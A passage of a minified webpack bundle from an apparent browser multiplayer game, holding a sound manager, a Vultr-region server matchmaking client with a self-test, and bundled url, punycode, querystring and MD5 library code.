7892 this.sounds = [], this.active = !0, this.play = function (t, i, r) {
7893 i && this.active && ((n = this.sounds[t]) || (n = new Howl({
7894 src: ".././sound/" + t + ".mp3"
7895 }), this.sounds[t] = n), r && n.isPlaying || (n.isPlaying = !0, n.play(), n.volume((i || 1) * e.volumeMult), n.loop(r)))
7896 }, this.toggleMute = function (e, t) {
7897 (n = this.sounds[e]) && n.mute(t)
7898 }, this.stop = function (e) {
7899 (n = this.sounds[e]) && (n.stop(), n.isPlaying = !1)
7900 }
7901 }
7902}, function (e, t, n) {
7903 var i = n(60),
7904 r = n(67);
7905
7906 function s(e, t, n, i, r) {
7907 "localhost" == location.hostname && (window.location.hostname = "127.0.0.1"), this.debugLog = !1, this.baseUrl = e, this.lobbySize = n, this.devPort = t, this.lobbySpread = i, this.rawIPs = !!r, this.server = void 0, this.gameIndex = void 0, this.callback = void 0, this.errorCallback = void 0, this.processServers(vultr.servers)
7908 }
7909 s.prototype.regionInfo = {
7910 0: {
7911 name: "Local",
7912 latitude: 0,
7913 longitude: 0
7914 },
7915 "vultr:1": {
7916 name: "New Jersey",
7917 latitude: 40.1393329,
7918 longitude: -75.8521818
7919 },
7920 "vultr:2": {
7921 name: "Chicago",
7922 latitude: 41.8339037,
7923 longitude: -87.872238
7924 },
7925 "vultr:3": {
7926 name: "Dallas",
7927 latitude: 32.8208751,
7928 longitude: -96.8714229
7929 },
7930 "vultr:4": {
7931 name: "Seattle",
7932 latitude: 47.6149942,
7933 longitude: -122.4759879
7934 },
7935 "vultr:5": {
7936 name: "Los Angeles",
7937 latitude: 34.0207504,
7938 longitude: -118.691914
7939 },
7940 "vultr:6": {
7941 name: "Atlanta",
7942 latitude: 33.7676334,
7943 longitude: -84.5610332
7944 },
7945 "vultr:7": {
7946 name: "Amsterdam",
7947 latitude: 52.3745287,
7948 longitude: 4.7581878
7949 },
7950 "vultr:8": {
7951 name: "London",
7952 latitude: 51.5283063,
7953 longitude: -.382486
7954 },
7955 "vultr:9": {
7956 name: "Frankfurt",
7957 latitude: 50.1211273,
7958 longitude: 8.496137
7959 },
7960 "vultr:12": {
7961 name: "Silicon Valley",
7962 latitude: 37.4024714,
7963 longitude: -122.3219752
7964 },
7965 "vultr:19": {
7966 name: "Sydney",
7967 latitude: -33.8479715,
7968 longitude: 150.651084
7969 },
7970 "vultr:24": {
7971 name: "Paris",
7972 latitude: 48.8588376,
7973 longitude: 2.2773454
7974 },
7975 "vultr:25": {
7976 name: "Tokyo",
7977 latitude: 35.6732615,
7978 longitude: 139.569959
7979 },
7980 "vultr:39": {
7981 name: "Miami",
7982 latitude: 25.7823071,
7983 longitude: -80.3012156
7984 },
7985 "vultr:40": {
7986 name: "Singapore",
7987 latitude: 1.3147268,
7988 longitude: 103.7065876
7989 }
7990 }, s.prototype.start = function (e, t) {
7991 this.callback = e, this.errorCallback = t;
7992 var n = this.parseServerQuery();
7993 n ? (this.log("Found server in query."), this.password = n[3], this.connect(n[0], n[1], n[2])) : (this.log("Pinging servers..."), this.pingServers())
7994 }, s.prototype.parseServerQuery = function () {
7995 var e = i.parse(location.href, !0),
7996 t = e.query.server;
7997 if ("string" == typeof t) {
7998 var n = t.split(":");
7999 if (3 == n.length) {
8000 var r = n[0],
8001 s = parseInt(n[1]),
8002 a = parseInt(n[2]);
8003 return "0" == r || r.startsWith("vultr:") || (r = "vultr:" + r), [r, s, a, e.query.password]
8004 }
8005 this.errorCallback("Invalid number of server parameters in " + t)
8006 }
8007 }, s.prototype.findServer = function (e, t) {
8008 var n = this.servers[e];
8009 if (Array.isArray(n)) {
8010 for (var i = 0; i < n.length; i++) {
8011 var r = n[i];
8012 if (r.index == t) return r
8013 }
8014 console.warn("Could not find server in region " + e + " with index " + t + ".")
8015 } else this.errorCallback("No server list for region " + e)
8016 }, s.prototype.pingServers = function () {
8017 var e = this,
8018 t = [];
8019 for (var n in this.servers)
8020 if (this.servers.hasOwnProperty(n)) {
8021 var i = this.servers[n],
8022 r = i[Math.floor(Math.random() * i.length)];
8023 null != r ? function (i, r) {
8024 var s = new XMLHttpRequest;
8025 s.onreadystatechange = function (i) {
8026 var s = i.target;
8027 if (4 == s.readyState)
8028 if (200 == s.status) {
8029 for (var a = 0; a < t.length; a++) t[a].abort();
8030 e.log("Connecting to region", r.region);
8031 var o = e.seekServer(r.region);
8032 e.connect(o[0], o[1], o[2])
8033 } else console.warn("Error pinging " + r.ip + " in region " + n)
8034 };
8035 var a = "//" + e.serverAddress(r.ip, !0) + ":" + e.serverPort(r) + "/ping";
8036 s.open("GET", a, !0), s.send(null), e.log("Pinging", a), t.push(s)
8037 }(0, r) : console.log("No target server for region " + n)
8038 }
8039 }, s.prototype.seekServer = function (e, t, n) {
8040 null == n && (n = "random"), null == t && (t = !1);
8041 const i = ["random"];
8042 var r = this.lobbySize,
8043 s = this.lobbySpread,
8044 a = this.servers[e].flatMap((function (e) {
8045 var t = 0;
8046 return e.games.map((function (n) {
8047 var i = t++;
8048 return {
8049 region: e.region,
8050 index: e.index * e.games.length + i,
8051 gameIndex: i,
8052 gameCount: e.games.length,
8053 playerCount: n.playerCount,
8054 isPrivate: n.isPrivate
8055 }
8056 }))
8057 })).filter((function (e) {
8058 return !e.isPrivate
8059 })).filter((function (e) {
8060 return !t || 0 == e.playerCount && e.gameIndex >= e.gameCount / 2
8061 })).filter((function (e) {
8062 return "random" == n || i[e.index % i.length].key == n
8063 })).sort((function (e, t) {
8064 return t.playerCount - e.playerCount
8065 })).filter((function (e) {
8066 return e.playerCount < r
8067 }));
8068 if (t && a.reverse(), 0 != a.length) {
8069 var o = Math.min(s, a.length),
8070 c = Math.floor(Math.random() * o),
8071 l = a[c = Math.min(c, a.length - 1)],
8072 h = l.region,
8073 u = (c = Math.floor(l.index / l.gameCount), l.index % l.gameCount);
8074 return this.log("Found server."), [h, c, u]
8075 }
8076 this.errorCallback("No open servers.")
8077 }, s.prototype.connect = function (e, t, n) {
8078 if (!this.connected) {
8079 var i = this.findServer(e, t);
8080 null != i ? (this.log("Connecting to server", i, "with game index", n), i.games[n].playerCount >= this.lobbySize ? this.errorCallback("Server is already full.") : (window.history.replaceState(document.title, document.title, this.generateHref(e, t, n, this.password)), this.server = i, this.gameIndex = n, this.log("Calling callback with address", this.serverAddress(i.ip), "on port", this.serverPort(i), "with game index", n), this.callback(this.serverAddress(i.ip), this.serverPort(i), n))) : this.errorCallback("Failed to find server for region " + e + " and index " + t)
8081 }
8082 }, s.prototype.switchServer = function (e, t, n, i) {
8083 this.switchingServers = !0, window.location.href = this.generateHref(e, t, n, i)
8084 }, s.prototype.generateHref = function (e, t, n, i) {
8085 var r = "/?server=" + (e = this.stripRegion(e)) + ":" + t + ":" + n;
8086 return i && (r += "&password=" + encodeURIComponent(i)), r
8087 }, s.prototype.serverAddress = function (e, t) {
8088 return "127.0.0.1" == e || "7f000001" == e || "903d62ef5d1c2fecdcaeb5e7dd485eff" == e ? window.location.hostname : this.rawIPs ? t ? "ip_" + this.hashIP(e) + "." + this.baseUrl : e : "ip_" + e + "." + this.baseUrl
8089 }, s.prototype.serverPort = function (e) {
8090 return 0 == e.region ? this.devPort : location.protocol.startsWith("https") ? 443 : 80
8091 }, s.prototype.processServers = function (e) {
8092 for (var t = {}, n = 0; n < e.length; n++) {
8093 var i = e[n],
8094 r = t[i.region];
8095 null == r && (r = [], t[i.region] = r), r.push(i)
8096 }
8097 for (var s in t) t[s] = t[s].sort((function (e, t) {
8098 return e.index - t.index
8099 }));
8100 this.servers = t
8101 }, s.prototype.ipToHex = function (e) {
8102 return e.split(".").map(e => ("00" + parseInt(e).toString(16)).substr(-2)).join("").toLowerCase()
8103 }, s.prototype.hashIP = function (e) {
8104 return r(this.ipToHex(e))
8105 }, s.prototype.log = function () {
8106 return this.debugLog ? console.log.apply(void 0, arguments) : console.verbose ? console.verbose.apply(void 0, arguments) : void 0
8107 }, s.prototype.stripRegion = function (e) {
8108 return e.startsWith("vultr:") ? e = e.slice(6) : e.startsWith("do:") && (e = e.slice(3)), e
8109 }, window.testVultrClient = function () {
8110 var e = 1;
8111
8112 function t(t, n) {
8113 (t = "" + t) == (n = "" + n) ? console.log(`Assert ${e} passed.`): console.warn(`Assert ${e} failed. Expected ${n}, got ${t}.`), e++
8114 }
8115 var n = new s("test.io", -1, 5, 1, !1);
8116 n.errorCallback = function (e) {}, n.processServers(function (e) {
8117 var t = [];
8118 for (var n in e)
8119 for (var i = e[n], r = 0; r < i.length; r++) t.push({
8120 ip: n + ":" + r,
8121 scheme: "testing",
8122 region: n,
8123 index: r,
8124 games: i[r].map(e => ({
8125 playerCount: e,
8126 isPrivate: !1
8127 }))
8128 });
8129 return t
8130 }({
8131 1: [
8132 [0, 0, 0, 0],
8133 [0, 0, 0, 0]
8134 ],
8135 2: [
8136 [5, 1, 0, 0],
8137 [0, 0, 0, 0]
8138 ],
8139 3: [
8140 [5, 0, 1, 5],
8141 [0, 0, 0, 0]
8142 ],
8143 4: [
8144 [5, 1, 1, 5],
8145 [1, 0, 0, 0]
8146 ],
8147 5: [
8148 [5, 1, 1, 5],
8149 [1, 0, 4, 0]
8150 ],
8151 6: [
8152 [5, 5, 5, 5],
8153 [2, 3, 1, 4]
8154 ],
8155 7: [
8156 [5, 5, 5, 5],
8157 [5, 5, 5, 5]
8158 ]
8159 })), t(n.seekServer(1, !1), [1, 0, 0]), t(n.seekServer(1, !0), [1, 1, 3]), t(n.seekServer(2, !1), [2, 0, 1]), t(n.seekServer(2, !0), [2, 1, 3]), t(n.seekServer(3, !1), [3, 0, 2]), t(n.seekServer(3, !0), [3, 1, 3]), t(n.seekServer(4, !1), [4, 0, 1]), t(n.seekServer(4, !0), [4, 1, 3]), t(n.seekServer(5, !1), [5, 1, 2]), t(n.seekServer(5, !0), [5, 1, 3]), t(n.seekServer(6, !1), [6, 1, 3]), t(n.seekServer(6, !0), void 0), t(n.seekServer(7, !1), void 0), t(n.seekServer(7, !0), void 0), console.log("Tests passed.")
8160 };
8161 var a = function (e, t) {
8162 return e.concat(t)
8163 };
8164 Array.prototype.flatMap = function (e) {
8165 return function (e, t) {
8166 return t.map(e).reduce(a, [])
8167 }(e, this)
8168 }, e.exports = s
8169}, function (e, t, n) {
8170 "use strict";
8171 var i = n(61),
8172 r = n(63);
8173
8174 function s() {
8175 this.protocol = null, this.slashes = null, this.auth = null, this.host = null, this.port = null, this.hostname = null, this.hash = null, this.search = null, this.query = null, this.pathname = null, this.path = null, this.href = null
8176 }
8177 t.parse = v, t.resolve = function (e, t) {
8178 return v(e, !1, !0).resolve(t)
8179 }, t.resolveObject = function (e, t) {
8180 return e ? v(e, !1, !0).resolveObject(t) : t
8181 }, t.format = function (e) {
8182 return r.isString(e) && (e = v(e)), e instanceof s ? e.format() : s.prototype.format.call(e)
8183 }, t.Url = s;
8184 var a = /^([a-z0-9.+-]+:)/i,
8185 o = /:[0-9]*$/,
8186 c = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/,
8187 l = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r", "\n", "\t"]),
8188 h = ["'"].concat(l),
8189 u = ["%", "/", "?", ";", "#"].concat(h),
8190 f = ["/", "?", "#"],
8191 d = /^[+a-z0-9A-Z_-]{0,63}$/,
8192 p = /^([+a-z0-9A-Z_-]{0,63})(.*)$/,
8193 g = {
8194 javascript: !0,
8195 "javascript:": !0
8196 },
8197 m = {
8198 javascript: !0,
8199 "javascript:": !0
8200 },
8201 y = {
8202 http: !0,
8203 https: !0,
8204 ftp: !0,
8205 gopher: !0,
8206 file: !0,
8207 "http:": !0,
8208 "https:": !0,
8209 "ftp:": !0,
8210 "gopher:": !0,
8211 "file:": !0
8212 },
8213 k = n(64);
8214
8215 function v(e, t, n) {
8216 if (e && r.isObject(e) && e instanceof s) return e;
8217 var i = new s;
8218 return i.parse(e, t, n), i
8219 }
8220 s.prototype.parse = function (e, t, n) {
8221 if (!r.isString(e)) throw new TypeError("Parameter 'url' must be a string, not " + typeof e);
8222 var s = e.indexOf("?"),
8223 o = -1 !== s && s < e.indexOf("#") ? "?" : "#",
8224 l = e.split(o);
8225 l[0] = l[0].replace(/\\/g, "/");
8226 var v = e = l.join(o);
8227 if (v = v.trim(), !n && 1 === e.split("#").length) {
8228 var w = c.exec(v);
8229 if (w) return this.path = v, this.href = v, this.pathname = w[1], w[2] ? (this.search = w[2], this.query = t ? k.parse(this.search.substr(1)) : this.search.substr(1)) : t && (this.search = "", this.query = {}), this
8230 }
8231 var b = a.exec(v);
8232 if (b) {
8233 var x = (b = b[0]).toLowerCase();
8234 this.protocol = x, v = v.substr(b.length)
8235 }
8236 if (n || b || v.match(/^\/\/[^@\/]+@[^@\/]+/)) {
8237 var S = "//" === v.substr(0, 2);
8238 !S || b && m[b] || (v = v.substr(2), this.slashes = !0)
8239 }
8240 if (!m[b] && (S || b && !y[b])) {
8241 for (var T, I, E = -1, M = 0; M < f.length; M++) - 1 !== (A = v.indexOf(f[M])) && (-1 === E || A < E) && (E = A);
8242 for (-1 !== (I = -1 === E ? v.lastIndexOf("@") : v.lastIndexOf("@", E)) && (T = v.slice(0, I), v = v.slice(I + 1), this.auth = decodeURIComponent(T)), E = -1, M = 0; M < u.length; M++) {
8243 var A; - 1 !== (A = v.indexOf(u[M])) && (-1 === E || A < E) && (E = A)
8244 } - 1 === E && (E = v.length), this.host = v.slice(0, E), v = v.slice(E), this.parseHost(), this.hostname = this.hostname || "";
8245 var P = "[" === this.hostname[0] && "]" === this.hostname[this.hostname.length - 1];
8246 if (!P)
8247 for (var B = this.hostname.split(/\./), C = (M = 0, B.length); M < C; M++) {
8248 var O = B[M];
8249 if (O && !O.match(d)) {
8250 for (var R = "", j = 0, _ = O.length; j < _; j++) O.charCodeAt(j) > 127 ? R += "x" : R += O[j];
8251 if (!R.match(d)) {
8252 var U = B.slice(0, M),
8253 D = B.slice(M + 1),
8254 L = O.match(p);
8255 L && (U.push(L[1]), D.unshift(L[2])), D.length && (v = "/" + D.join(".") + v), this.hostname = U.join(".");
8256 break
8257 }
8258 }
8259 }
8260 this.hostname.length > 255 ? this.hostname = "" : this.hostname = this.hostname.toLowerCase(), P || (this.hostname = i.toASCII(this.hostname));
8261 var F = this.port ? ":" + this.port : "",
8262 z = this.hostname || "";
8263 this.host = z + F, this.href += this.host, P && (this.hostname = this.hostname.substr(1, this.hostname.length - 2), "/" !== v[0] && (v = "/" + v))
8264 }
8265 if (!g[x])
8266 for (M = 0, C = h.length; M < C; M++) {
8267 var H = h[M];
8268 if (-1 !== v.indexOf(H)) {
8269 var V = encodeURIComponent(H);
8270 V === H && (V = escape(H)), v = v.split(H).join(V)
8271 }
8272 }
8273 var q = v.indexOf("#"); - 1 !== q && (this.hash = v.substr(q), v = v.slice(0, q));
8274 var Y = v.indexOf("?");
8275 if (-1 !== Y ? (this.search = v.substr(Y), this.query = v.substr(Y + 1), t && (this.query = k.parse(this.query)), v = v.slice(0, Y)) : t && (this.search = "", this.query = {}), v && (this.pathname = v), y[x] && this.hostname && !this.pathname && (this.pathname = "/"), this.pathname || this.search) {
8276 F = this.pathname || "";
8277 var W = this.search || "";
8278 this.path = F + W
8279 }
8280 return this.href = this.format(), this
8281 }, s.prototype.format = function () {
8282 var e = this.auth || "";
8283 e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"), e += "@");
8284 var t = this.protocol || "",
8285 n = this.pathname || "",
8286 i = this.hash || "",
8287 s = !1,
8288 a = "";
8289 this.host ? s = e + this.host : this.hostname && (s = e + (-1 === this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"), this.port && (s += ":" + this.port)), this.query && r.isObject(this.query) && Object.keys(this.query).length && (a = k.stringify(this.query));
8290 var o = this.search || a && "?" + a || "";
8291 return t && ":" !== t.substr(-1) && (t += ":"), this.slashes || (!t || y[t]) && !1 !== s ? (s = "//" + (s || ""), n && "/" !== n.charAt(0) && (n = "/" + n)) : s || (s = ""), i && "#" !== i.charAt(0) && (i = "#" + i), o && "?" !== o.charAt(0) && (o = "?" + o), t + s + (n = n.replace(/[?#]/g, (function (e) {
8292 return encodeURIComponent(e)
8293 }))) + (o = o.replace("#", "%23")) + i
8294 }, s.prototype.resolve = function (e) {
8295 return this.resolveObject(v(e, !1, !0)).format()
8296 }, s.prototype.resolveObject = function (e) {
8297 if (r.isString(e)) {
8298 var t = new s;
8299 t.parse(e, !1, !0), e = t
8300 }
8301 for (var n = new s, i = Object.keys(this), a = 0; a < i.length; a++) {
8302 var o = i[a];
8303 n[o] = this[o]
8304 }
8305 if (n.hash = e.hash, "" === e.href) return n.href = n.format(), n;
8306 if (e.slashes && !e.protocol) {
8307 for (var c = Object.keys(e), l = 0; l < c.length; l++) {
8308 var h = c[l];
8309 "protocol" !== h && (n[h] = e[h])
8310 }
8311 return y[n.protocol] && n.hostname && !n.pathname && (n.path = n.pathname = "/"), n.href = n.format(), n
8312 }
8313 if (e.protocol && e.protocol !== n.protocol) {
8314 if (!y[e.protocol]) {
8315 for (var u = Object.keys(e), f = 0; f < u.length; f++) {
8316 var d = u[f];
8317 n[d] = e[d]
8318 }
8319 return n.href = n.format(), n
8320 }
8321 if (n.protocol = e.protocol, e.host || m[e.protocol]) n.pathname = e.pathname;
8322 else {
8323 for (var p = (e.pathname || "").split("/"); p.length && !(e.host = p.shift()););
8324 e.host || (e.host = ""), e.hostname || (e.hostname = ""), "" !== p[0] && p.unshift(""), p.length < 2 && p.unshift(""), n.pathname = p.join("/")
8325 }
8326 if (n.search = e.search, n.query = e.query, n.host = e.host || "", n.auth = e.auth, n.hostname = e.hostname || e.host, n.port = e.port, n.pathname || n.search) {
8327 var g = n.pathname || "",
8328 k = n.search || "";
8329 n.path = g + k
8330 }
8331 return n.slashes = n.slashes || e.slashes, n.href = n.format(), n
8332 }
8333 var v = n.pathname && "/" === n.pathname.charAt(0),
8334 w = e.host || e.pathname && "/" === e.pathname.charAt(0),
8335 b = w || v || n.host && e.pathname,
8336 x = b,
8337 S = n.pathname && n.pathname.split("/") || [],
8338 T = (p = e.pathname && e.pathname.split("/") || [], n.protocol && !y[n.protocol]);
8339 if (T && (n.hostname = "", n.port = null, n.host && ("" === S[0] ? S[0] = n.host : S.unshift(n.host)), n.host = "", e.protocol && (e.hostname = null, e.port = null, e.host && ("" === p[0] ? p[0] = e.host : p.unshift(e.host)), e.host = null), b = b && ("" === p[0] || "" === S[0])), w) n.host = e.host || "" === e.host ? e.host : n.host, n.hostname = e.hostname || "" === e.hostname ? e.hostname : n.hostname, n.search = e.search, n.query = e.query, S = p;
8340 else if (p.length) S || (S = []), S.pop(), S = S.concat(p), n.search = e.search, n.query = e.query;
8341 else if (!r.isNullOrUndefined(e.search)) return T && (n.hostname = n.host = S.shift(), (P = !!(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) && (n.auth = P.shift(), n.host = n.hostname = P.shift())), n.search = e.search, n.query = e.query, r.isNull(n.pathname) && r.isNull(n.search) || (n.path = (n.pathname ? n.pathname : "") + (n.search ? n.search : "")), n.href = n.format(), n;
8342 if (!S.length) return n.pathname = null, n.search ? n.path = "/" + n.search : n.path = null, n.href = n.format(), n;
8343 for (var I = S.slice(-1)[0], E = (n.host || e.host || S.length > 1) && ("." === I || ".." === I) || "" === I, M = 0, A = S.length; A >= 0; A--) "." === (I = S[A]) ? S.splice(A, 1) : ".." === I ? (S.splice(A, 1), M++) : M && (S.splice(A, 1), M--);
8344 if (!b && !x)
8345 for (; M--; M) S.unshift("..");
8346 !b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""), E && "/" !== S.join("/").substr(-1) && S.push("");
8347 var P, B = "" === S[0] || S[0] && "/" === S[0].charAt(0);
8348 return T && (n.hostname = n.host = B ? "" : S.length ? S.shift() : "", (P = !!(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) && (n.auth = P.shift(), n.host = n.hostname = P.shift())), (b = b || n.host && S.length) && !B && S.unshift(""), S.length ? n.pathname = S.join("/") : (n.pathname = null, n.path = null), r.isNull(n.pathname) && r.isNull(n.search) || (n.path = (n.pathname ? n.pathname : "") + (n.search ? n.search : "")), n.auth = e.auth || n.auth, n.slashes = n.slashes || e.slashes, n.href = n.format(), n
8349 }, s.prototype.parseHost = function () {
8350 var e = this.host,
8351 t = o.exec(e);
8352 t && (":" !== (t = t[0]) && (this.port = t.substr(1)), e = e.substr(0, e.length - t.length)), e && (this.hostname = e)
8353 }
8354}, function (e, t, n) {
8355 (function (e, i) {
8356 var r; /*! https://mths.be/punycode v1.4.1 by @mathias */
8357 ! function (s) {
8358 t && t.nodeType, e && e.nodeType;
8359 var a = "object" == typeof i && i;
8360 a.global !== a && a.window !== a && a.self;
8361 var o, c = 2147483647,
8362 l = 36,
8363 h = /^xn--/,
8364 u = /[^\x20-\x7E]/,
8365 f = /[\x2E\u3002\uFF0E\uFF61]/g,
8366 d = {
8367 overflow: "Overflow: input needs wider integers to process",
8368 "not-basic": "Illegal input >= 0x80 (not a basic code point)",
8369 "invalid-input": "Invalid input"
8370 },
8371 p = Math.floor,
8372 g = String.fromCharCode;
8373
8374 function m(e) {
8375 throw new RangeError(d[e])
8376 }
8377
8378 function y(e, t) {
8379 for (var n = e.length, i = []; n--;) i[n] = t(e[n]);
8380 return i
8381 }
8382
8383 function k(e, t) {
8384 var n = e.split("@"),
8385 i = "";
8386 return n.length > 1 && (i = n[0] + "@", e = n[1]), i + y((e = e.replace(f, ".")).split("."), t).join(".")
8387 }
8388
8389 function v(e) {
8390 for (var t, n, i = [], r = 0, s = e.length; r < s;)(t = e.charCodeAt(r++)) >= 55296 && t <= 56319 && r < s ? 56320 == (64512 & (n = e.charCodeAt(r++))) ? i.push(((1023 & t) << 10) + (1023 & n) + 65536) : (i.push(t), r--) : i.push(t);
8391 return i
8392 }
8393
8394 function w(e) {
8395 return y(e, (function (e) {
8396 var t = "";
8397 return e > 65535 && (t += g((e -= 65536) >>> 10 & 1023 | 55296), e = 56320 | 1023 & e), t + g(e)
8398 })).join("")
8399 }
8400
8401 function b(e) {
8402 return e - 48 < 10 ? e - 22 : e - 65 < 26 ? e - 65 : e - 97 < 26 ? e - 97 : l
8403 }
8404
8405 function x(e, t) {
8406 return e + 22 + 75 * (e < 26) - ((0 != t) << 5)
8407 }
8408
8409 function S(e, t, n) {
8410 var i = 0;
8411 for (e = n ? p(e / 700) : e >> 1, e += p(e / t); e > 455; i += l) e = p(e / 35);
8412 return p(i + 36 * e / (e + 38))
8413 }
8414
8415 function T(e) {
8416 var t, n, i, r, s, a, o, h, u, f, d = [],
8417 g = e.length,
8418 y = 0,
8419 k = 128,
8420 v = 72;
8421 for ((n = e.lastIndexOf("-")) < 0 && (n = 0), i = 0; i < n; ++i) e.charCodeAt(i) >= 128 && m("not-basic"), d.push(e.charCodeAt(i));
8422 for (r = n > 0 ? n + 1 : 0; r < g;) {
8423 for (s = y, a = 1, o = l; r >= g && m("invalid-input"), ((h = b(e.charCodeAt(r++))) >= l || h > p((c - y) / a)) && m("overflow"), y += h * a, !(h < (u = o <= v ? 1 : o >= v + 26 ? 26 : o - v)); o += l) a > p(c / (f = l - u)) && m("overflow"), a *= f;
8424 v = S(y - s, t = d.length + 1, 0 == s), p(y / t) > c - k && m("overflow"), k += p(y / t), y %= t, d.splice(y++, 0, k)
8425 }
8426 return w(d)
8427 }
8428
8429 function I(e) {
8430 var t, n, i, r, s, a, o, h, u, f, d, y, k, w, b, T = [];
8431 for (y = (e = v(e)).length, t = 128, n = 0, s = 72, a = 0; a < y; ++a)(d = e[a]) < 128 && T.push(g(d));
8432 for (i = r = T.length, r && T.push("-"); i < y;) {
8433 for (o = c, a = 0; a < y; ++a)(d = e[a]) >= t && d < o && (o = d);
8434 for (o - t > p((c - n) / (k = i + 1)) && m("overflow"), n += (o - t) * k, t = o, a = 0; a < y; ++a)
8435 if ((d = e[a]) < t && ++n > c && m("overflow"), d == t) {
8436 for (h = n, u = l; !(h < (f = u <= s ? 1 : u >= s + 26 ? 26 : u - s)); u += l) b = h - f, w = l - f, T.push(g(x(f + b % w, 0))), h = p(b / w);
8437 T.push(g(x(h, 0))), s = S(n, k, i == r), n = 0, ++i
8438 }++ n, ++t
8439 }
8440 return T.join("")
8441 }
8442 o = {
8443 version: "1.4.1",
8444 ucs2: {
8445 decode: v,
8446 encode: w
8447 },
8448 decode: T,
8449 encode: I,
8450 toASCII: function (e) {
8451 return k(e, (function (e) {
8452 return u.test(e) ? "xn--" + I(e) : e
8453 }))
8454 },
8455 toUnicode: function (e) {
8456 return k(e, (function (e) {
8457 return h.test(e) ? T(e.slice(4).toLowerCase()) : e
8458 }))
8459 }
8460 }, void 0 === (r = function () {
8461 return o
8462 }.call(t, n, t, e)) || (e.exports = r)
8463 }()
8464 }).call(this, n(62)(e), n(12))
8465}, function (e, t) {
8466 e.exports = function (e) {
8467 return e.webpackPolyfill || (e.deprecate = function () {}, e.paths = [], e.children || (e.children = []), Object.defineProperty(e, "loaded", {
8468 enumerable: !0,
8469 get: function () {
8470 return e.l
8471 }
8472 }), Object.defineProperty(e, "id", {
8473 enumerable: !0,
8474 get: function () {
8475 return e.i
8476 }
8477 }), e.webpackPolyfill = 1), e
8478 }
8479}, function (e, t, n) {
8480 "use strict";
8481 e.exports = {
8482 isString: function (e) {
8483 return "string" == typeof e
8484 },
8485 isObject: function (e) {
8486 return "object" == typeof e && null !== e
8487 },
8488 isNull: function (e) {
8489 return null === e
8490 },
8491 isNullOrUndefined: function (e) {
8492 return null == e
8493 }
8494 }
8495}, function (e, t, n) {
8496 "use strict";
8497 t.decode = t.parse = n(65), t.encode = t.stringify = n(66)
8498}, function (e, t, n) {
8499 "use strict";
8500
8501 function i(e, t) {
8502 return Object.prototype.hasOwnProperty.call(e, t)
8503 }
8504 e.exports = function (e, t, n, s) {
8505 t = t || "&", n = n || "=";
8506 var a = {};
8507 if ("string" != typeof e || 0 === e.length) return a;
8508 var o = /\+/g;
8509 e = e.split(t);
8510 var c = 1e3;
8511 s && "number" == typeof s.maxKeys && (c = s.maxKeys);
8512 var l = e.length;
8513 c > 0 && l > c && (l = c);
8514 for (var h = 0; h < l; ++h) {
8515 var u, f, d, p, g = e[h].replace(o, "%20"),
8516 m = g.indexOf(n);
8517 m >= 0 ? (u = g.substr(0, m), f = g.substr(m + 1)) : (u = g, f = ""), d = decodeURIComponent(u), p = decodeURIComponent(f), i(a, d) ? r(a[d]) ? a[d].push(p) : a[d] = [a[d], p] : a[d] = p
8518 }
8519 return a
8520 };
8521 var r = Array.isArray || function (e) {
8522 return "[object Array]" === Object.prototype.toString.call(e)
8523 }
8524}, function (e, t, n) {
8525 "use strict";
8526 var i = function (e) {
8527 switch (typeof e) {
8528 case "string":
8529 return e;
8530 case "boolean":
8531 return e ? "true" : "false";
8532 case "number":
8533 return isFinite(e) ? e : "";
8534 default:
8535 return ""
8536 }
8537 };
8538 e.exports = function (e, t, n, o) {
8539 return t = t || "&", n = n || "=", null === e && (e = void 0), "object" == typeof e ? s(a(e), (function (a) {
8540 var o = encodeURIComponent(i(a)) + n;
8541 return r(e[a]) ? s(e[a], (function (e) {
8542 return o + encodeURIComponent(i(e))
8543 })).join(t) : o + encodeURIComponent(i(e[a]))
8544 })).join(t) : o ? encodeURIComponent(i(o)) + n + encodeURIComponent(i(e)) : ""
8545 };
8546 var r = Array.isArray || function (e) {
8547 return "[object Array]" === Object.prototype.toString.call(e)
8548 };
8549
8550 function s(e, t) {
8551 if (e.map) return e.map(t);
8552 for (var n = [], i = 0; i < e.length; i++) n.push(t(e[i], i));
8553 return n
8554 }
8555 var a = Object.keys || function (e) {
8556 var t = [];
8557 for (var n in e) Object.prototype.hasOwnProperty.call(e, n) && t.push(n);
8558 return t
8559 }
8560}, function (e, t, n) {
8561 ! function () {
8562 var t = n(68),
8563 i = n(20).utf8,
8564 r = n(69),
8565 s = n(20).bin,
8566 a = function (e, n) {
8567 e.constructor == String ? e = n && "binary" === n.encoding ? s.stringToBytes(e) : i.stringToBytes(e) : r(e) ? e = Array.prototype.slice.call(e, 0) : Array.isArray(e) || (e = e.toString());
8568 for (var o = t.bytesToWords(e), c = 8 * e.length, l = 1732584193, h = -271733879, u = -1732584194, f = 271733878, d = 0; d < o.length; d++) o[d] = 16711935 & (o[d] << 8 | o[d] >>> 24) | 4278255360 & (o[d] << 24 | o[d] >>> 8);
8569 o[c >>> 5] |= 128 << c % 32, o[14 + (c + 64 >>> 9 << 4)] = c;
8570 var p = a._ff,
8571 g = a._gg,
8572 m = a._hh,
8573 y = a._ii;
8574 for (d = 0; d < o.length; d += 16) {
8575 var k = l,
8576 v = h,
8577 w = u,
8578 b = f;
